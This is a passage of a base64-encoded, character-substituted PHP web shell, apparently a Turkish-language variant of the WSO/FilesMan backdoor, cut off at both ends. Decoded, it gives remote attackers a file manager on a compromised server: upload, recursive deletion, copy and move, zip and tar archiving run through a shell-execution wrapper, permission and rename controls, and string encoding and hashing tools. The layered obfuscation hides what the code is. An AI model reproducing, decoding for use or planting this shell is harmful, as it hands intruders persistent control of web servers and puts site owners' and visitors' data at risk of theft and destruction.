XSkpIHsNCiAgICAgICAgc3c0dGNoKCRfUE9TVFsncDYnXSkgew0KICAgICAgICAgICAgYzFzNSAnM3BsMjFkRjRsNSc6DQogICAgICAgICAgICAgICAgNGYoIUBtMnY1XzNwbDIxZDVkX2Y0bDUoJF9GSUxFU1snZiddWyd0bXBfbjFtNSddLCAkX0ZJTEVTWydmJ11bJ24xbTUnXSkpDQogICAgICAgICAgICAgICAgICAgIDVjaDIgIkQyc3kxIFVwbDIxZCA1ZDRsbTVkNCEiOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAnbWtkNHInOg0KICAgICAgICAgICAgICAgIDRmKCFAbWtkNHIoJF9QT1NUWydwYSddKSkNCiAgICAgICAgICAgICAgICAgICAgNWNoMiAiWTVuNCBkNHo0biAybDNzdDNyM2wxbTFkNCI7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICdkNWw1dDUnOg0KICAgICAgICAgICAgICAgIGYzbmN0NDJuIGQ1bDV0NUQ0cigkcDF0aCkgew0KICAgICAgICAgICAgICAgICAgICAkcDF0aCA9IChzM2JzdHIoJHAxdGgsLTYpPT0nLycpID8gJHAxdGg6JHAxdGguJy8nOw0KICAgICAgICAgICAgICAgICAgICAkZGggID0gMnA1bmQ0cigkcDF0aCk7DQogICAgICAgICAgICAgICAgICAgIHdoNGw1ICggKCQ0dDVtID0gcjUxZGQ0cigkZGgpICkgIT09IGYxbHM1KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkNHQ1bSA9ICRwMXRoLiQ0dDVtOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYgKCAoYjFzNW4xbTUoJDR0NW0pID09ICIuLiIpIHx8IChiMXM1bjFtNSgkNHQ1bSkgPT0gIi4iKSApDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYzJudDRuMzU7DQogICAgICAgICAgICAgICAgICAgICAgICAkdHlwNSA9IGY0bDV0eXA1KCQ0dDVtKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmICgkdHlwNSA9PSAiZDRyIikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkNWw1dDVENHIoJDR0NW0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIEAzbmw0bmsoJDR0NW0pOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGNsMnM1ZDRyKCRkaCk7DQogICAgICAgICAgICAgICAgICAgIEBybWQ0cigkcDF0aCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIDRmKDRzXzFycjF5KEAkX1BPU1RbJ2YnXSkpDQogICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9QT1NUWydmJ10gMXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmID09ICcuLicpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYzJudDRuMzU7DQogICAgICAgICAgICAgICAgICAgICAgICAkZiA9IDNybGQ1YzJkNSgkZik7DQogICAgICAgICAgICAgICAgICAgICAgICA0Zig0c19kNHIoJGYpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGQ1bDV0NUQ0cigkZik7DQogICAgICAgICAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQDNubDRuaygkZik7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIGMxczUgJ3Axc3Q1JzoNCiAgICAgICAgICAgICAgICA0ZigkX1NFU1NJT05bJzFjdCddID09ICdjMnB5Jykgew0KICAgICAgICAgICAgICAgICAgICBmM25jdDQybiBjMnB5X3Axc3Q1KCRjLCRzLCRkKXsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKDRzX2Q0cigkYy4kcykpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1rZDRyKCRkLiRzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaCA9IEAycDVuZDRyKCRjLiRzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aDRsNSAoKCRmID0gQHI1MWRkNHIoJGgpKSAhPT0gZjFsczUpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmICgoJGYgIT0gIi4iKSAxbmQgKCRmICE9ICIuLiIpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzJweV9wMXN0NSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7DQogICAgICAgICAgICAgICAgICAgICAgICB9IDVsczU0Zig0c19mNGw1KCRjLiRzKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAYzJweSgkYy4kcywgJGQuJHMpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9TRVNTSU9OWydmJ10gMXMgJGYpDQogICAgICAgICAgICAgICAgICAgICAgICBjMnB5X3Axc3Q1KCRfU0VTU0lPTlsnYyddLCRmLCAkR0xPQkFMU1snY3dkJ10pOyAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgfSA1bHM1NGYoJF9TRVNTSU9OWycxY3QnXSA9PSAnbTJ2NScpIHsNCiAgICAgICAgICAgICAgICAgICAgZjNuY3Q0Mm4gbTJ2NV9wMXN0NSgkYywkcywkZCl7DQogICAgICAgICAgICAgICAgICAgICAgICA0Zig0c19kNHIoJGMuJHMpKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBta2Q0cigkZC4kcyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGggPSBAMnA1bmQ0cigkYy4kcyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgd2g0bDUgKCgkZiA9IEByNTFkZDRyKCRoKSkgIT09IGYxbHM1KQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZiAoKCRmICE9ICIuIikgMW5kICgkZiAhPSAiLi4iKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMycHlfcDFzdDUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfSA1bHM1NGYoQDRzX2Y0bDUoJGMuJHMpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjMnB5KCRjLiRzLCAkZC4kcyk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCgkX1NFU1NJT05bJ2YnXSAxcyAkZikNCiAgICAgICAgICAgICAgICAgICAgICAgIEByNW4xbTUoJF9TRVNTSU9OWydjJ10uJGYsICRHTE9CQUxTWydjd2QnXS4kZik7DQogICAgICAgICAgICAgICAgfSA1bHM1NGYoJF9TRVNTSU9OWycxY3QnXSA9PSAnejRwJykgew0KICAgICAgICAgICAgICAgICAgICA0ZihjbDFzc181eDRzdHMoJ1o0cEFyY2g0djUnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHo0cCA9IG41dyBaNHBBcmNoNHY1KCk7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZiAoJHo0cC0+MnA1bigkX1BPU1RbJ3BhJ10sIDYpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2hkNHIoJF9TRVNTSU9OWydjJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9TRVNTSU9OWydmJ10gMXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGYgPT0gJy4uJykNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMybnQ0bjM1Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZihANHNfZjRsNSgkX1NFU1NJT05bJ2MnXS4kZikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkejRwLT4xZGRGNGw1KCRfU0VTU0lPTlsnYyddLiRmLCAkZik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVsczU0ZihANHNfZDRyKCRfU0VTU0lPTlsnYyddLiRmKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDR0NXIxdDJyID0gbjV3IFI1YzNyczR2NUl0NXIxdDJySXQ1cjF0MnIobjV3IFI1YzNyczR2NUQ0cjVjdDJyeUl0NXIxdDJyKCRmLicvJykpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCAoJDR0NXIxdDJyIDFzICRrNXk9PiR2MWwzNSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6NHAtPjFkZEY0bDUocjUxbHAxdGgoJGs1eSksICRrNXkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZDRyKCRHTE9CQUxTWydjd2QnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+Y2wyczUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0gNWxzNTRmKCRfU0VTU0lPTlsnMWN0J10gPT0gJzNuejRwJykgew0KICAgICAgICAgICAgICAgICAgICA0ZihjbDFzc181eDRzdHMoJ1o0cEFyY2g0djUnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHo0cCA9IG41dyBaNHBBcmNoNHY1KCk7DQogICAgICAgICAgICAgICAgICAgICAgICBmMnI1MWNoKCRfU0VTU0lPTlsnZiddIDFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoJHo0cC0+MnA1bigkX1NFU1NJT05bJ2MnXS4kZikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+NXh0cjFjdFQyKCRHTE9CQUxTWydjd2QnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6NHAtPmNsMnM1KCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfSA1bHM1NGYoJF9TRVNTSU9OWycxY3QnXSA9PSAndDFyJykgew0KICAgICAgICAgICAgICAgICAgICBjaGQ0cigkX1NFU1NJT05bJ2MnXSk7DQogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnZiddID0gMXJyMXlfbTFwKCc1c2MxcDVzaDVsbDFyZycsICRfU0VTU0lPTlsnZiddKTsNCiAgICAgICAgICAgICAgICAgICAgd3MyRXgoJ3QxciBjZnp2ICcgLiA1c2MxcDVzaDVsbDFyZygkX1BPU1RbJ3BhJ10pIC4gJyAnIC4gNG1wbDJkNSgnICcsICRfU0VTU0lPTlsnZiddKSk7DQogICAgICAgICAgICAgICAgICAgIGNoZDRyKCRHTE9CQUxTWydjd2QnXSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIDNuczV0KCRfU0VTU0lPTlsnZiddKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIGQ1ZjEzbHQ6DQogICAgICAgICAgICAgICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWycxY3QnXSA9IEAkX1BPU1RbJ3A2J107DQogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnZiddID0gQCRfUE9TVFsnZiddOw0KICAgICAgICAgICAgICAgICAgICBmMnI1MWNoKCRfU0VTU0lPTlsnZiddIDFzICRrID0+ICRmKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydmJ11bJGtdID0gM3JsZDVjMmQ1KCRmKTsNCiAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydjJ10gPSBAJF9QT1NUWydjJ107DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICB9DQogICAgfQ0KICAgICRkNHJDMm50NW50ID0gQHNjMW5kNHIoNHNzNXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7DQogICAgNGYoJGQ0ckMybnQ1bnQgPT09IGYxbHM1KSB7ICAgIDVjaDIgJ0MxblwndCAycDVuIHRoNHMgZjJsZDVyISc7d3MyRjIydDVyKCk7IHI1dDNybjsgfQ0KICAgIGdsMmIxbCAkczJydDsNCiAgICAkczJydCA9IDFycjF5KCduMW01JywgNik7DQogICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCiAgICAgICAgNGYocHI1Z19tMXRjaCgnIXNfKFtBLXpdKylfKFxkezZ9KSEnLCAkX1BPU1RbJ3A2J10sICRtMXRjaCkpDQogICAgICAgICAgICAkczJydCA9IDFycjF5KCRtMXRjaFs2XSwgKDRudCkkbTF0Y2hbYV0pOw0KICAgIH0NCjVjaDIgIjxzY3I0cHQ+DQogICAgZjNuY3Q0Mm4gczEoKSB7DQogICAgICAgIGYycig0PTA7NDxkLmY0bDVzLjVsNW01bnRzLmw1bmd0aDs0KyspDQogICAgICAgICAgICA0ZihkLmY0bDVzLjVsNW01bnRzWzRdLnR5cDUgPT0gJ2NoNWNrYjJ4JykNCiAgICAgICAgICAgICAgICBkLmY0bDVzLjVsNW01bnRzWzRdLmNoNWNrNWQgPSBkLmY0bDVzLjVsNW01bnRzWzBdLmNoNWNrNWQ7DQogICAgfQ0KPC9zY3I0cHQ+DQo8dDFibDUgdzRkdGg9JzYwMCUnIGNsMXNzPSdtMTRuJyBjNWxsc3AxYzRuZz0nMCcgYzVsbHAxZGQ0bmc9J2EnPg0KPGYycm0gbjFtNT1mNGw1cyBtNXRoMmQ9cDJzdD48dHI+PHRoIHc0ZHRoPSc2b3B4Jz48NG5wM3QgdHlwNT1jaDVja2IyeCAybmNsNGNrPSdzMSgpJyBjbDFzcz1jaGtieD48L3RoPjx0aD48MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNNMW5cIixuM2xsLFwic19uMW01XyIuKCRzMnJ0WzZdPzA6NikuIlwiKSc+QWQ0PC8xPjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX3M0ejVfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz5TNHo1PC8xPjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX20yZDRmeV8iLigkczJydFs2XT8wOjYpLiJcIiknPk0yZDRmeTwvMT48L3RoPjx0aD5LM3IzYzMvR3IzYjM8L3RoPjx0aD48MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNNMW5cIixuM2xsLFwic19wNXJtc18iLigkczJydFs2XT8wOjYpLiJcIiknPkl6JiM2MHV1Oz9ubDVyPC8xPjwvdGg+PHRoPlkxcDRsMWI0bDVjNWtsNXI8L3RoPjwvdHI+IjsNCiAgICAkZDRycyA9ICRmNGw1cyA9IDFycjF5KCk7DQogICAgJG4gPSBjMjNudCgkZDRyQzJudDVudCk7DQogICAgZjJyKCQ0PTA7JDQ8JG47JDQrKykgew0KICAgICAgICAkMncgPSBAcDJzNHhfZzV0cHczNGQoQGY0bDUyd241cigkZDRyQzJudDVudFskNF0pKTsNCiAgICAgICAgJGdyID0gQHAyczR4X2c1dGdyZzRkKEBmNGw1Z3IyM3AoJGQ0ckMybnQ1bnRbJDRdKSk7DQogICAgICAgICR0bXAgPSAxcnIxeSgnbjFtNScgPT4gJGQ0ckMybnQ1bnRbJDRdLA0KICAgICAgICAgICAgICAgICAgICAgJ3AxdGgnID0+ICRHTE9CQUxTWydjd2QnXS4kZDRyQzJudDVudFskNF0sDQogICAgICAgICAgICAgICAgICAgICAnbTJkNGZ5JyA9PiBkMXQ1KCdZLW0tZCBIOjQ6cycsIEBmNGw1bXQ0bTUoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSksDQogICAgICAgICAgICAgICAgICAgICAncDVybXMnID0+IHdzMlA1cm1zQzJsMnIoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSwNCiAgICAgICAgICAgICAgICAgICAgICdzNHo1JyA9PiBAZjRsNXM0ejUoJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSksDQogICAgICAgICAgICAgICAgICAgICAnMnduNXInID0+ICQyd1snbjFtNSddPyQyd1snbjFtNSddOkBmNGw1MnduNXIoJGQ0ckMybnQ1bnRbJDRdKSwNCiAgICAgICAgICAgICAgICAgICAgICdncjIzcCcgPT4gJGdyWyduMW01J10/JGdyWyduMW01J106QGY0bDVncjIzcCgkZDRyQzJudDVudFskNF0pDQogICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgIDRmKEA0c19mNGw1KCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpDQogICAgICAgICAgICAkZjRsNXNbXSA9IDFycjF5X201cmc1KCR0bXAsIDFycjF5KCd0eXA1JyA9PiAnZjRsNScpKTsNCiAgICAgICAgNWxzNTRmKEA0c19sNG5rKCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpDQogICAgICAgICAgICAkZDRyc1tdID0gMXJyMXlfbTVyZzUoJHRtcCwgMXJyMXkoJ3R5cDUnID0+ICdsNG5rJywgJ2w0bmsnID0+IHI1MWRsNG5rKCR0bXBbJ3AxdGgnXSkpKTsNCiAgICAgICAgNWxzNTRmKEA0c19kNHIoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSYmICgkZDRyQzJudDVudFskNF0gIT0gIi4iKSkNCiAgICAgICAgICAgICRkNHJzW10gPSAxcnIxeV9tNXJnNSgkdG1wLCAxcnIxeSgndHlwNScgPT4gJ2Q0cicpKTsNCiAgICB9DQogICAgJEdMT0JBTFNbJ3MycnQnXSA9ICRzMnJ0Ow0KICAgIGYzbmN0NDJuIHdzMkNtcCgkMSwgJGIpIHsNCiAgICAgICAgNGYoJEdMT0JBTFNbJ3MycnQnXVswXSAhPSAnczR6NScpDQogICAgICAgICAgICByNXQzcm4gc3RyY21wKHN0cnQybDJ3NXIoJDFbJEdMT0JBTFNbJ3MycnQnXVswXV0pLCBzdHJ0MmwydzVyKCRiWyRHTE9CQUxTWydzMnJ0J11bMF1dKSkqKCRHTE9CQUxTWydzMnJ0J11bNl0/NjotNik7DQogICAgICAgIDVsczUNCiAgICAgICAgICAgIHI1dDNybiAoKCQxWydzNHo1J10gPCAkYlsnczR6NSddKSA/IC02IDogNikqKCRHTE9CQUxTWydzMnJ0J11bNl0/NjotNik7DQogICAgfQ0KICAgIDNzMnJ0KCRmNGw1cywgIndzMkNtcCIpOw0KICAgIDNzMnJ0KCRkNHJzLCAid3MyQ21wIik7DQogICAgJGY0bDVzID0gMXJyMXlfbTVyZzUoJGQ0cnMsICRmNGw1cyk7DQogICAgJGwgPSAwOw0KICAgIGYycjUxY2goJGY0bDVzIDFzICRmKSB7DQogICAgICAgIDVjaDIgJzx0cicuKCRsPycgY2wxc3M9bDYnOicnKS4nPjx0ZD48NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PSJmW10iIHYxbDM1PSInLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nIiBjbDFzcz1jaGtieD48L3RkPjx0ZD48MSBocjVmPSMgMm5jbDRjaz0iJy4oKCRmWyd0eXA1J109PSdmNGw1Jyk/J2coXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCd2NDV3XCcpIj4nLmh0bWxzcDVjNDFsY2gxcnMoJGZbJ24xbTUnXSk6J2coXCdGNGw1c00xblwnLFwnJy4kZlsncDF0aCddLidcJyk7IiB0NHRsNT0nIC4gJGZbJ2w0bmsnXSAuICc+PGI+WyAnIC4gaHRtbHNwNWM0MWxjaDFycygkZlsnbjFtNSddKSAuICcgXTwvYj4nKS4nPC8xPjwvdGQ+PHRkPicuKCgkZlsndHlwNSddPT0nZjRsNScpP3dzMlY0NXdTNHo1KCRmWydzNHo1J10pOiRmWyd0eXA1J10pLic8L3RkPjx0ZD4nLiRmWydtMmQ0ZnknXS4nPC90ZD48dGQ+Jy4kZlsnMnduNXInXS4nLycuJGZbJ2dyMjNwJ10uJzwvdGQ+PHRkPjwxIGhyNWY9IyAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsXCdjaG0yZFwnKSI+Jy4kZlsncDVybXMnXQ0KICAgICAgICAgICAgLic8L3RkPjx0ZD48MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwncjVuMW01XCcpIj5SPC8xPiA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwndDIzY2hcJykiPlQ8LzE+Jy4oKCRmWyd0eXA1J109PSdmNGw1Jyk/JyA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwnNWQ0dFwnKSI+RTwvMT4gPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJ2Qyd25sMjFkXCcpIj5EPC8xPic6JycpLic8L3RkPjwvdHI+JzsNCiAgICAgICAgJGwgPSAkbD8wOjY7DQogICAgfQ0KICAgIDVjaDIgIjx0cj48dGQgYzJsc3Axbj03Pg0KICAgIDw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTEgdjFsMzU9J0Y0bDVzTTFuJz4NCiAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSciIC4gaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pIC4iJz4NCiAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSciLiAoNHNzNXQoJF9QT1NUWydjaDFyczV0J10pPyRfUE9TVFsnY2gxcnM1dCddOicnKS4iJz4NCiAgICA8czVsNWN0IG4xbTU9J3A2Jz48MnB0NDJuIHYxbDM1PSdjMnB5Jz5LMnB5MWwxPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0nbTJ2NSc+WTVyIEQ1ZzRzdDRyPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0nZDVsNXQ1Jz5TNEw8LzJwdDQybj4iOw0KICAgIDRmKGNsMXNzXzV4NHN0cygnWjRwQXJjaDR2NScpKQ0KICAgICAgICA1Y2gyICI8MnB0NDJuIHYxbDM1PSd6NHAnPkMybXByNXNzICh6NHApPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0nM256NHAnPlVuYzJtcHI1c3MgKHo0cCk8LzJwdDQybj4iOw0KICAgIDVjaDIgIjwycHQ0Mm4gdjFsMzU9J3Qxcic+QzJtcHI1c3MgKHQxci5neik8LzJwdDQybj4iOw0KICAgIDRmKCE1bXB0eSgkX1NFU1NJT05bJzFjdCddKSAmJiBAYzIzbnQoJF9TRVNTSU9OWydmJ10pKQ0KICAgICAgICA1Y2gyICI8MnB0NDJuIHYxbDM1PSdwMXN0NSc+UDFzdDUgLyBDMm1wcjVzczwvMnB0NDJuPiI7DQogICAgNWNoMiAiPC9zNWw1Y3Q+Jm5ic3A7IjsNCiAgICA0ZighNW1wdHkoJF9TRVNTSU9OWycxY3QnXSkgJiYgQGMyM250KCRfU0VTU0lPTlsnZiddKSAmJiAoKCRfU0VTU0lPTlsnMWN0J10gPT0gJ3o0cCcpIHx8ICgkX1NFU1NJT05bJzFjdCddID09ICd0MXInKSkpDQogICAgICAgIDVjaDIgImY0bDUgbjFtNTogPDRucDN0IHR5cDU9dDV4dCBuMW01PXBhIHYxbDM1PSd3czJfIiAuIGQxdDUoIlltZF9INHMiKSAuICIuIiAuICgkX1NFU1NJT05bJzFjdCddID09ICd6NHAnPyd6NHAnOid0MXIuZ3onKSAuICInPiZuYnNwOyI7DQogICAgNWNoMiAiPDRucDN0IHR5cDU9J3MzYm00dCcgdjFsMzU9Jz4+Jz48L3RkPjwvdHI+PC9mMnJtPjwvdDFibDU+PC9kNHY+IjsNCiAgICB3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuU3RyNG5nVDIybHMoKSB7DQogICAgNGYoIWYzbmN0NDJuXzV4NHN0cygnaDV4YWI0bicpKSB7ZjNuY3Q0Mm4gaDV4YWI0bigkcCkge3I1dDNybiBkNWNiNG4oaDV4ZDVjKCRwKSk7fX0NCiAgICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCdiNG5oNXgnKSkge2YzbmN0NDJuIGI0bmg1eCgkcCkge3I1dDNybiBkNWNoNXgoYjRuZDVjKCRwKSk7fX0NCiAgICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCdoNXhhMXNjNDQnKSkge2YzbmN0NDJuIGg1eGExc2M0NCgkcCl7JHI9Jyc7ZjJyKCQ0PTA7JDQ8c3RyTDVuKCRwKTskNCs9YSl7JHIuPWNocihoNXhkNWMoJHBbJDRdLiRwWyQ0KzZdKSk7fXI1dDNybiAkcjt9fQ0KICAgIDRmKCFmM25jdDQybl81eDRzdHMoJzFzYzQ0YWg1eCcpKSB7ZjNuY3Q0Mm4gMXNjNDRhaDV4KCRwKXskcj0nJztmMnIoJDQ9MDskNDxzdHJsNW4oJHApOysrJDQpJHIuPSBzcHI0bnRmKCclMGFYJywycmQoJHBbJDRdKSk7cjV0M3JuIHN0cnQyM3BwNXIoJHIpO319DQogICAgNGYoIWYzbmN0NDJuXzV4NHN0cygnZjNsbF8zcmw1bmMyZDUnKSkge2YzbmN0NDJuIGYzbGxfM3JsNW5jMmQ1KCRwKXskcj0nJztmMnIoJDQ9MDskNDxzdHJsNW4oJHApOysrJDQpJHIuPSAnJScuZDVjaDV4KDJyZCgkcFskNF0pKTtyNXQzcm4gc3RydDIzcHA1cigkcik7fX0NCiAgICAkc3RyNG5nVDIybHMgPSAxcnIxeSgNCiAgICAgICAgJ0IxczVldSA1bmMyZDUnID0+ICdiMXM1ZXVfNW5jMmQ1JywNCiAgICAgICAgJ0IxczVldSBkNWMyZDUnID0+ICdiMXM1ZXVfZDVjMmQ1JywNCiAgICAgICAgJ1VybCA1bmMyZDUnID0+ICczcmw1bmMyZDUnLA0KICAgICAgICAnVXJsIGQ1YzJkNScgPT4gJzNybGQ1YzJkNScsDQogICAgICAgICdGM2xsIDNybDVuYzJkNScgPT4gJ2YzbGxfM3JsNW5jMmQ1JywNCiAgICAgICAgJ21kaSBoMXNoJyA9PiAnbWRpJywNCiAgICAgICAgJ3NoMTYgaDFzaCcgPT4gJ3NoMTYnLA0KICAgICAgICAnY3J5cHQnID0+ICdjcnlwdCcsDQogICAgICAgICdDUkNvYScgPT4gJ2NyY29hJywNCiAgICAgICAgJ0FTQ0lJIHQyIEhFWCcgPT4gJzFzYzQ0YWg1eCcsDQogICAgICAgICdIRVggdDIgQVNDSUknID0+ICdoNXhhMXNjNDQnLA0KICAgICAgICAnSEVYIHQyIERFQycgPT4gJ2g1eGQ1YycsDQogICAgICAgICdIRVggdDIgQklOJyA9PiAnaDV4YWI0bicsDQogICAgICAgICdERUMgdDIgSEVYJyA9PiAnZDVjaDV4JywNCiAgICAgICAgJ0RFQyB0MiBCSU4nID0+ICdkNWNiNG4nLA0KICAgICAgICAnQklOIHQyIEhFWCcgPT4gJ2I0bmg1eCcsDQogICAgICAgICdCSU4gdDIgREVDJyA9PiAnYjRuZDVjJywNCiAgICAgICAgJ1N0cjRuZyB0MiBsMnc1ciBjMXM1JyA9PiAnc3RydDJsMnc1cicsDQogICAgICAgICdTdHI0bmcgdDIgM3BwNXIgYzFzNScgPT4gJ3N0cnQyM3BwNXInLA0KICAgICAgICAnSHRtbHNwNWM0MWxjaDFycycgPT4gJ2h0bWxzcDVjNDFsY2gxcnMnLA0KICAgICAgICAnU3RyNG5nIGw1bmd0aCcgPT4gJ3N0cmw1bicsDQogICAgKTsNCiAgICA0Zig0c3M1dCgkX1BPU1RbJzFqMXgnXSkpIHsNCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSB0cjM1Ow0KICAgICAgICAyYl9zdDFydCgpOw0KICAgICAgICA0Zig0bl8xcnIxeSgkX1BPU1RbJ3A2J10sICRzdHI0bmdUMjJscykpDQogICAgICAgICAgICA1Y2gyICRfUE9TVFsncDYnXSgkX1BPU1RbJ3BhJ10pOw0KICAgICAgICAkdDVtcCA9ICJkMmMzbTVudC5nNXRFbDVtNW50QnlJZCgnc3RyTzN0cDN0Jykuc3R5bDUuZDRzcGwxeT0nJztkMmMzb